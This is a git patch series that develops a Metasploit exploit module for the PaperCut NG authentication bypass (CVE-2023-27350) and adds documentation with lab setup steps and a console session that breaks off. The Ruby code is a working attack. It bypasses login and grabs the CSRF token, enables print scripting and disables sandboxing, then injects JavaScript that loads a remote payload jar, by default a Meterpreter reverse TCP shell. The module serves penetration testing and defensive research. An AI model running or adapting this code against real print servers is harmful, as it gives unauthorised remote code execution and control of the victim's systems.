9 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 6b3e8a7d73c9..99a58d4393ec 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -100,7 +100,7 @@ def get_config_option(name) 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'headers' => { - 'Origin' => @origin + 'Origin' => full_uri }, 'vars_post' => { 'service' => 'direct/1/ConfigEditor/quickFindForm', @@ -141,7 +141,7 @@ def set_config_option(name, value) 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'headers' => { - 'Origin' => @origin + 'Origin' => full_uri }, 'vars_post' => { 'service' => 'direct/1/ConfigEditor/$Form', @@ -163,7 +163,7 @@ def primer 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'headers' => { - 'Origin' => @origin + 'Origin' => full_uri }, 'vars_post' => { 'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form', @@ -194,11 +194,6 @@ def check def exploit @payload_uri = get_uri - protocol = 'http' - if datastore['SSL'] - protocol = 'https' - end - @origin = URI("#{protocol}://#{datastore['RHOST']}:#{datastore['RPORT']}") # required for anti-CSRF mechanisms # Main function # 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests. @@ -226,7 +221,7 @@ def exploit 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true, 'headers' => { - 'Origin' => @origin + 'Origin' => full_uri }, 'vars_get' => { 'service' => 'direct/1/PrinterList/selectPrinter', From 16ae6b71f484d54768c2a5df9bc734cd8a4bc6c3 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Thu, 27 Apr 2023 15:21:21 +0000 Subject: [PATCH 16/40] Use the generated payload as is. --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 99a58d4393ec..8744fb3f75ff 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -68,7 +68,6 @@ def initialize(info = {}) [ OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']), OptString.new('PAYLOAD_CLASS', [false, 'Class containing main method to load']), - OptString.new('JAR_FILE', [true, 'Local path to jar file to serve, e.g. msfvenom output jar file']), OptInt.new('HTTPDELAY', [false, 'Path to the papercut application']), OptBool.new('NEVER_SET', [false, 'Never set server options to avoid unnecessary log events.']) ], self.class @@ -237,7 +236,7 @@ def exploit def on_request_uri(cli, request) vprint_status("Sending payload for requested uri: #{request.uri}") - jar_file = File.read(datastore['JAR_FILE']) + jar_file = payload.raw send_response(cli, jar_file) end From 12f7134cc6c7562c1fc79641aee3c07780ee06bc Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Thu, 27 Apr 2023 19:38:12 +0000 Subject: [PATCH 17/40] generating payloads on the fly is what we wanted originally --- .../exploits/multi/http/papercut_ng_auth_bypass.rb | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 8744fb3f75ff..098d3cd6dab9 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -49,11 +49,9 @@ def initialize(info = {}) 'DisclosureDate' => '2023-03-13', 'DefaultTarget' => 0, 'DefaultOptions' => { - 'DisablePayloadHandler' => true, 'PAYLOAD' => 'java/meterpreter/reverse_tcp', 'RPORT' => '9191', 'SSL' => 'false', - 'PAYLOAD_CLASS' => 'metasploit.Payload', 'JAR_FILE' => '', 'HTTPDELAY' => 10 }, @@ -67,7 +65,6 @@ def initialize(info = {}) register_options( [ OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']), - OptString.new('PAYLOAD_CLASS', [false, 'Class containing main method to load']), OptInt.new('HTTPDELAY', [false, 'Path to the papercut application']), OptBool.new('NEVER_SET', [false, 'Never set server options to avoid unnecessary log events.']) ], self.class @@ -110,8 +107,7 @@ def get_config_option(name) } } ) - # TODO: 2) if no property found, add it? - # 3) parse the result + # 2) parse and return the result return nil unless res && res.code == 200 && html = res.get_html_document return nil unless td = html.xpath("//td[@class='propertyNameColumnValue']") return nil unless td.count == 1 && td.text == name @@ -173,7 +169,7 @@ def primer 'printerId' => 'l1001', 'scriptBody' => %Q{ var urls = [new java.net.URL("#{payload_uri}.jar")]; -var cl = new java.net.URLClassLoader(urls).loadClass('#{datastore['PAYLOAD_CLASS']}').newInstance().main([]); +var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]); s; } } @@ -236,8 +232,7 @@ def exploit def on_request_uri(cli, request) vprint_status("Sending payload for requested uri: #{request.uri}") - jar_file = payload.raw - send_response(cli, jar_file) + send_response(cli, payload.raw) end end From c0be991ed8de394e0d690720bd2370e2e2ae6f5c Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Fri, 28 Apr 2023 00:00:57 +0000 Subject: [PATCH 18/40] removing superfluous options --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 10 +--------- 1 file changed, 1 insertion(+), 9 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 098d3cd6dab9..7e403752b2b1 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -49,10 +49,8 @@ def initialize(info = {}) 'DisclosureDate' => '2023-03-13', 'DefaultTarget' => 0, 'DefaultOptions' => { - 'PAYLOAD' => 'java/meterpreter/reverse_tcp', 'RPORT' => '9191', 'SSL' => 'false', - 'JAR_FILE' => '', 'HTTPDELAY' => 10 }, 'Notes' => { @@ -65,8 +63,7 @@ def initialize(info = {}) register_options( [ OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']), - OptInt.new('HTTPDELAY', [false, 'Path to the papercut application']), - OptBool.new('NEVER_SET', [false, 'Never set server options to avoid unnecessary log events.']) + OptInt.new('HTTPDELAY', [false, 'Path to the papercut application']) ], self.class ) end @@ -124,11 +121,6 @@ def set_config_option(name, value) return end - if datastore['NEVER_SET'] - print_error("Server is not correctly configured for code execution and you have requested we never set server options 'NEVER_SET'") - return Exploit::Failed - end - vprint_status("Setting server option '#{name}' to '#{value}') was '#{current_value}'") res = send_request_cgi( { From 4ba8d62d883ac5ac21eb1694835f3e07f93b7a62 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Fri, 28 Apr 2023 00:02:37 +0000 Subject: [PATCH 19/40] Removing unused documentation --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 7e403752b2b1..c97ce7961a58 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -23,15 +23,8 @@ def initialize(info = {}) and 'print.script.sandboxed' options to allow for arbitrary code execution running in the builtin RhinoJS engine. - For code injection we utilize the URLClassLoader to load a remote URL containing a - ".jar" file, this file must already exist and must contain a "main" method accepting - no command line arguments. We recommend generating this jar file using msfvenom with a - java/meterpreter/reverse_tcp payload, e.g. `msfvenom -p java/meterpreter/reverse_tcp --format jar --encoder generic/none - LHOST=[lhost] LPORT=[lport] -o shell.jar - This module logs at most 2 events in the application log of papercut. Each event is tied - to modifcation of server settings. Use NEVER_SET to avoid log generation entirely when - targeting already vulnerable systes. + to modifcation of server settings. }, 'License' => MSF_LICENSE, 'Author' => [ 'catatonicprime' ], From 97a76e38835504c0453942156591596b0df078c0 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Fri, 28 Apr 2023 00:07:47 +0000 Subject: [PATCH 20/40] linting changes. removing unnecessary success checks. --- .../multi/http/papercut_ng_auth_bypass.rb | 23 ++++++++----------- 1 file changed, 10 insertions(+), 13 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index c97ce7961a58..d75d1c4a758a 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -74,6 +74,7 @@ def bypass_auth } ) return nil unless res && res.code == 200 + vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}") res.get_html_document.xpath('//script')[-1].text.split("'")[1] end @@ -98,8 +99,8 @@ def get_config_option(name) } ) # 2) parse and return the result - return nil unless res && res.code == 200 && html = res.get_html_document - return nil unless td = html.xpath("//td[@class='propertyNameColumnValue']") + return nil unless res && res.code == 200 && (html = res.get_html_document) + return nil unless (td = html.xpath("//td[@class='propertyNameColumnValue']")) return nil unless td.count == 1 && td.text == name value_input = html.xpath("//input[@name='$TextField$0']") @@ -132,6 +133,7 @@ def set_config_option(name, value) } } ) + fail_with Failure::NotVulnerable, "Could not update server config option '#{name}' to value of '#{value}'" unless res && res.code == 200 end def primer @@ -152,7 +154,7 @@ def primer 'enablePrintScript' => 'on', '$Submit$1' => 'Apply', 'printerId' => 'l1001', - 'scriptBody' => %Q{ + 'scriptBody' => %{ var urls = [new java.net.URL("#{payload_uri}.jar")]; var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]); s; @@ -160,7 +162,7 @@ def primer } } ) - return Exploit::Failed unless res && res.code == 200 + fail_with Failure::NotVulnerable, 'Failed to prime payload.' unless res && res.code == 200 end def check @@ -169,6 +171,7 @@ def check if bypass_success.nil? return Exploit::CheckCode::Safe end + return Exploit::CheckCode::Vulnerable end @@ -183,16 +186,10 @@ def exploit end # 2) Enable scripts, if needed - success = set_config_option('print-and-device.script.enabled', 'Y') - if success == Exploit::Failed - return Exploit::Failed - end + set_config_option('print-and-device.script.enabled', 'Y') # 3) Disable sandboxing, if needed - success = set_config_option('print.script.sandboxed', 'N') - if success == Exploit::Failed - return Exploit::Failed - end + set_config_option('print.script.sandboxed', 'N') # 5) Select the printer, this loads it into the tapestry session to be modified res = send_request_cgi( @@ -209,7 +206,7 @@ def exploit } } ) - return Exploit::Failed unless res && res.code == 200 + fail_with Failure::NotVulnerable, 'Unable to select [Template Printer]' unless res && res.code == 200 Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error From 5f12f0e0ba09c8c5e44822585e25261f03613a79 Mon Sep 17 00:00:00 2001 From: Catatonic Prime Date: Fri, 5 May 2023 11:07:08 -0700 Subject: [PATCH 21/40] Apply suggestions from code review Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com> --- .../multi/http/papercut_ng_auth_bypass.rb | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index d75d1c4a758a..4dfddb87f334 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -29,6 +29,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ 'catatonicprime' ], 'References' => [ + ['CVE', '2023–27350'], [ 'URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219' ], [ 'URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/' ], [ 'URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'], @@ -37,7 +38,7 @@ def initialize(info = {}) 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ [ 'Automatic Target', {}] ], 'Platform' => [ 'java' ], - 'Payload' => {}, + 'Arch' => ARCH_JAVA, 'Privileged' => true, 'DisclosureDate' => '2023-03-13', 'DefaultTarget' => 0, @@ -56,7 +57,7 @@ def initialize(info = {}) register_options( [ OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']), - OptInt.new('HTTPDELAY', [false, 'Path to the papercut application']) + OptInt.new('HTTPDELAY', [false, '...'], 10) ], self.class ) end @@ -76,7 +77,8 @@ def bypass_auth return nil unless res && res.code == 200 vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}") - res.get_html_document.xpath('//script')[-1].text.split("'")[1] +match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?[^']*)'/) +match ? match[:csrf] : '' end def get_config_option(name) @@ -154,11 +156,7 @@ def primer 'enablePrintScript' => 'on', '$Submit$1' => 'Apply', 'printerId' => 'l1001', - 'scriptBody' => %{ -var urls = [new java.net.URL("#{payload_uri}.jar")]; -var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]); -s; -} + 'scriptBody' => script } } ) @@ -180,7 +178,7 @@ def exploit # Main function # 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests. - @csrf_token = bypass_auth + @csrf_token = bypass_auth unless @csrf_token if @csrf_token.nil? fail_with Failure::NotVulnerable, 'Target is not vulnerable' end From f27648799b42c7e2cd6b8a28a653faaa8c2bd637 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Fri, 5 May 2023 18:19:53 +0000 Subject: [PATCH 22/40] Adding original ZDI reference. Minor formatting changes. --- .../exploits/multi/http/papercut_ng_auth_bypass.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 4dfddb87f334..a990bca54e21 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -27,13 +27,14 @@ def initialize(info = {}) to modifcation of server settings. }, 'License' => MSF_LICENSE, - 'Author' => [ 'catatonicprime' ], + 'Author' => ['catatonicprime'], 'References' => [ ['CVE', '2023–27350'], - [ 'URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219' ], - [ 'URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/' ], - [ 'URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'], - [ 'URL', 'https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software' ] + ['ZDI', 'CAN-18987'], + ['URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219'], + ['URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/'], + ['URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'], + ['URL', 'https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software'] ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ [ 'Automatic Target', {}] ], From e37e506fe296ee346c86af4534996139bf8a39b1 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Sat, 6 May 2023 04:37:43 +0000 Subject: [PATCH 23/40] heh, I probably should have tested this --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index a990bca54e21..4d3d85176b2a 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -58,7 +58,7 @@ def initialize(info = {}) register_options( [ OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']), - OptInt.new('HTTPDELAY', [false, '...'], 10) + OptInt.new('HTTPDELAY', [false, '...', 10]) ], self.class ) end From af3c482acd2dc18c7c6ad1142bfbef0562ac60ab Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Sat, 6 May 2023 04:54:16 +0000 Subject: [PATCH 24/40] heh, I probably should have tested that too --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 4d3d85176b2a..c0ab9e0f2e71 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -141,6 +141,11 @@ def set_config_option(name, value) def primer payload_uri = get_uri + script = <<~SCRIPT + var urls = [new java.net.URL("#{payload_uri}.jar")]; + var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]); + s; + SCRIPT # 6) Trigger the code execution the printer_id res = send_request_cgi( { From 0448d408ea3308ecabc698ec6c28a0098223911e Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Sat, 6 May 2023 04:58:50 +0000 Subject: [PATCH 25/40] Match wording from "How to write a module using HttpServer and HttpClient" on docs.metasploit.com --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index c0ab9e0f2e71..9398d09d58c6 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -58,7 +58,7 @@ def initialize(info = {}) register_options( [ OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']), - OptInt.new('HTTPDELAY', [false, '...', 10]) + OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]) ], self.class ) end From c69ca39748fb20774c7b10a450d1e346906feccf Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Sat, 6 May 2023 05:07:59 +0000 Subject: [PATCH 26/40] consistent indenting --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 9398d09d58c6..39e184184de9 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -78,8 +78,8 @@ def bypass_auth return nil unless res && res.code == 200 vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}") -match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?[^']*)'/) -match ? match[:csrf] : '' + match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?[^']*)'/) + match ? match[:csrf] : '' end def get_config_option(name) From 43564b5267607bf0ec09012795e27792a506bc8e Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Tue, 9 May 2023 23:43:30 +0000 Subject: [PATCH 27/40] Removing unneeded features/options. --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 39e184184de9..fe720faf9ce3 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'debug' require 'cgi' class MetasploitModule < Msf::Exploit::Remote @@ -45,8 +44,7 @@ def initialize(info = {}) 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => '9191', - 'SSL' => 'false', - 'HTTPDELAY' => 10 + 'SSL' => 'false' }, 'Notes' => { 'Stability' => [CRASH_SAFE], From eff189f221fefa3b9101bf36793fca1742dc51c1 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Tue, 9 May 2023 23:43:56 +0000 Subject: [PATCH 28/40] Ensuring csrf_token is initialized. --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index fe720faf9ce3..2473f2765dac 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -59,6 +59,7 @@ def initialize(info = {}) OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]) ], self.class ) + @csrf_token = nil end def bypass_auth From c5b0bc68d7538615bce6976b9dc7bdbe50fa9f3a Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Tue, 9 May 2023 23:44:46 +0000 Subject: [PATCH 29/40] Improved automatic targeting, tested back to major version 14 --- .../multi/http/papercut_ng_auth_bypass.rb | 28 +++++++++++++++---- 1 file changed, 22 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 2473f2765dac..f6cf49a09eee 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -77,6 +77,14 @@ def bypass_auth return nil unless res && res.code == 200 vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}") + + # Parse the application version from the response for future decisions. + product_details = res.get_html_document.xpath('//div[contains(@class, "product-details")]//span').children[1] + if product_details.nil? + product_details = res.get_html_document.xpath('//span[contains(@class, "version")]') + end + version_match = product_details.text.match('(?[0-9]+)\.(?[0-9]+)') + @version_major = Integer(version_match[:major]) match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?[^']*)'/) match ? match[:csrf] : '' end @@ -145,6 +153,12 @@ def primer var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]); s; SCRIPT + + # The number of parameters passed changed in version 17. + form0 = 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0' + if @version_major > 16 + form0 += ',$Submit$1' + end # 6) Trigger the code execution the printer_id res = send_request_cgi( { @@ -157,7 +171,7 @@ def primer 'vars_post' => { 'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form', 'sp' => 'S0', - 'Form0' => 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0,$Submit$1', + 'Form0' => form0, 'enablePrintScript' => 'on', '$Submit$1' => 'Apply', 'printerId' => 'l1001', @@ -188,12 +202,14 @@ def exploit fail_with Failure::NotVulnerable, 'Target is not vulnerable' end - # 2) Enable scripts, if needed - set_config_option('print-and-device.script.enabled', 'Y') - - # 3) Disable sandboxing, if needed - set_config_option('print.script.sandboxed', 'N') + # Sandboxing wasn't introduced until version 19 + if @version_major >= 19 + # 2) Enable scripts, if needed + set_config_option('print-and-device.script.enabled', 'Y') + # 3) Disable sandboxing, if needed + set_config_option('print.script.sandboxed', 'N') + end # 5) Select the printer, this loads it into the tapestry session to be modified res = send_request_cgi( { From cb2c6a7d80fda6e64c5b675d920b47c46dd7f370 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Thu, 11 May 2023 00:34:47 +0000 Subject: [PATCH 30/40] Prevent bypass_auth from being called twice when AutoCheck is true --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index f6cf49a09eee..7c31d5fff647 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -86,7 +86,7 @@ def bypass_auth version_match = product_details.text.match('(?[0-9]+)\.(?[0-9]+)') @version_major = Integer(version_match[:major]) match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?[^']*)'/) - match ? match[:csrf] : '' + @csrf_token = match ? match[:csrf] : '' end def get_config_option(name) From d50bd24c2fcf0ee35f8d45d69530e801ed1ae028 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Thu, 11 May 2023 04:57:57 +0000 Subject: [PATCH 31/40] Adding config cleanup. --- .../multi/http/papercut_ng_auth_bypass.rb | 22 ++++++++++++++++--- 1 file changed, 19 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 7c31d5fff647..a5a0b619c505 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -60,6 +60,7 @@ def initialize(info = {}) ], self.class ) @csrf_token = nil + @config_cleanup = [] end def bypass_auth @@ -117,7 +118,7 @@ def get_config_option(name) value_input[0]['value'] end - def set_config_option(name, value) + def set_config_option(name, value, rollback) # set name:value pair(s) current_value = get_config_option(name) if current_value == value @@ -144,6 +145,21 @@ def set_config_option(name, value) } ) fail_with Failure::NotVulnerable, "Could not update server config option '#{name}' to value of '#{value}'" unless res && res.code == 200 + # skip storing the cleanup change if this is rolling back a previous change + @config_cleanup.push([name, current_value]) unless rollback + end + + def cleanup + super + if @config_cleanup.nil? + return + end + + until @config_cleanup.empty? + cfg = @config_cleanup.pop + vprint_status("Rolling back '#{cfg[0]}' to '#{cfg[1]}'") + set_config_option(cfg[0], cfg[1], true) + end end def primer @@ -205,10 +221,10 @@ def exploit # Sandboxing wasn't introduced until version 19 if @version_major >= 19 # 2) Enable scripts, if needed - set_config_option('print-and-device.script.enabled', 'Y') + set_config_option('print-and-device.script.enabled', 'Y', false) # 3) Disable sandboxing, if needed - set_config_option('print.script.sandboxed', 'N') + set_config_option('print.script.sandboxed', 'N', false) end # 5) Select the printer, this loads it into the tapestry session to be modified res = send_request_cgi( From c43eaf86bca041ac6cca2444cd7d8b18e1fee080 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Thu, 11 May 2023 05:09:35 +0000 Subject: [PATCH 32/40] Adding documentation. --- .../multi/http/papercut_ng_auth_bypass.md | 204 ++++++++++++++++++ 1 file changed, 204 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md diff --git a/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md b/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md new file mode 100644 index 000000000000..cfa7a0098f4c --- /dev/null +++ b/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md @@ -0,0 +1,204 @@ +## Description +PaperCut NG Authentication Bypass affecting the below versions, see [confirmation](https://www.papercut.com/kb/Main/PO-1216-and-PO-1219#product-status-and-next-steps): +- version 8.0.0 to 19.2.7 (inclusive) +- version 20.0.0 to 20.1.6 (inclusive) +- version 21.0.0 to 21.2.10 (inclusive) +- version 22.0.0 to 22.0.8 (inclusive) + +See module `info` for additional references. + +## Vulnerable Application +Papercut NG can be run in a container. This is useful for creating test environments for verification. To acquire past versions of the software, i.e. known vulnerable versions, see [Download past/old PaperCut NG Versions](https://www.papercut.com/kb/Main/PastVersions). + +Versions 16 and later include a "--non-interactive" switch, easing installation. Below I use podman on Centos 9 Stream to containerize the application for testing. + +From an empty directory, create a Dockerfile containing the following: +```dockerfile +FROM almalinux +RUN yum install -y procps-ng net-tools cpio sudo perl which +RUN yum install -y initscripts +RUN useradd -ms /bin/bash papercut +RUN usermod -a -G wheel papercut +RUN echo "papercut ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers + +COPY pcng-setup-*.sh / + +USER papercut +WORKDIR /home/papercut +``` + +Download a vulnerable version. Build a container. Run the container while performing the installation. +```sh +curl -OJ "https://cdn.papercut.com/files/pcng/16.x/pcng-setup-16.4.39159-linux-x64.sh" +podman build . --tag papercut-16.4.39159 +podman run -it --rm -p 9191:9191 localhost/papercut-16.4.39159 /bin/bash -c "sh /*.sh --non-interactive; read" +``` +Note: *Be sure to cross reference the target version with the known vulnerable versions, as some of the links in the listed Past Versions are patched.* + +A URL will be provided in the console to access the application, but you will likely need to use an IP accessible from your metasploit host, e.g. [127.0.0.1](http://127.0.0.1:9191/admin) in order to complete the application setup. After setup, you may commit changes to the container & tag the new image to maintain your configuration changes. In the future the service can be restarted using `/etc/init.d/papercut start` from within the container. + +*Caveat: When first starting the server or after completing the installation, at least one user needs to login. I think this has something to do with getting the license manager into the correct state (i.e. loading the license). When this is not yet done then the Authentication Bypass is still functional leading to a "Target Vulnerable" message during `check`. However, when attempting to select the "\[Template Printer\]" a redirect to the About page occurs instead. Ensuring a logon can be done by using the "Login" button presented on the SetupCompleted page used for the bypass. This scenario is not covered in the module as it is unlikely to be an issue on any network that is currently in use.* + +## Verification Steps + +1. `./msfconsole -q` +2. `use multi/http/papercut_ng_auth_bypass` +3. `set RHOSTS [target]` +4. `run` + +## Scenarios + +### Tested on Linux x64 with PaperCut NG Version 22.0.8.65201 +``` +msf6 > use exploit/multi/http/papercut_ng_auth_bypass +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +VERBOSE => true +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +RHOSTS => 10.0.4.101 +msf6 